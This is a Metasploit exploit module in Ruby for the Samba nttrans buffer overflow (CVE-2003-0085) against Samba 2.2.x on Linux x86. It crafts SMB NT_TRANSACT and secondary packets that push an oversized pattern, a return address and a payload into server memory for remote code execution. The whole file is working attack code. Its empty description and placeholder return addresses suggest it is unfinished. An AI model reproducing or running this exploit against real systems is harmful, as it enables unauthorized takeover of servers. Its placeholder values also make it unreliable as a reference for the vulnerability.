##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Samba nttrans Overflow',
      'Description'    => %q{
        
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2003-0085' ],
          [ 'OSVDB', '6323' ],
          [ 'BID', '7106' ],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'MinNops'  => 512,
        },
      'Targets'        => 
        [
          ["Samba 2.2.x Linux x86",  
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'Rets' => [0x01020304, 0x41424344],
            },
          ],
        ],
      'DisclosureDate' => 'Apr 7 2003'
      ))
      
      register_options(
        [
          Opt::RPORT(139)
        ], self.class)
          
  end

  def exploit
    
    # 0x081fc968
    
    pattern = Rex::Text.pattern_create(12000)
  
    pattern[532, 4] = [0x81b847c].pack('V')
    pattern[836, payload.encoded.length] = payload.encoded

  #  0x081b8138


    connect
    smb_login

    targ_address = 0xfffbb7d0  
    
    #
    # Send a NTTrans request with ParameterCountTotal set to the buffer length
    #

    subcommand   = 1
    param        = ''
    body         = ''
    setup_count  = 0
    setup_data   = ''
    data = param + body

    pkt = CONST::SMB_NTTRANS_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])
    
    base_offset = pkt.to_s.length + (setup_count * 2) - 4
    param_offset = base_offset
    data_offset = param_offset + param.length
    
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
    
    pkt['Payload'].v['ParamCountTotal'] =12000
    pkt['Payload'].v['DataCountTotal'] = body.length
    pkt['Payload'].v['ParamCountMax'] = 1024
    pkt['Payload'].v['DataCountMax'] = 65504
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataCount'] = body.length
    pkt['Payload'].v['DataOffset'] = data_offset
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup_data
    pkt['Payload'].v['Subcommand'] = subcommand
        
    pkt['Payload'].v['Payload'] = data
    
    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)
    
    #
    # Send a NTTrans secondary request with the magic displacement
    #

    param = pattern
    body  = ''
    data  = param + body

    pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])
    
    base_offset = pkt.to_s.length - 4
    param_offset = base_offset
    data_offset = param_offset + param.length
    
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 18
    
    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = body.length
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['ParamDisplace'] = targ_address
    pkt['Payload'].v['DataCount'] = body.length
    pkt['Payload'].v['DataOffset'] = data_offset
        
    pkt['Payload'].v['Payload'] = data
    
    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)


    handler

  end

end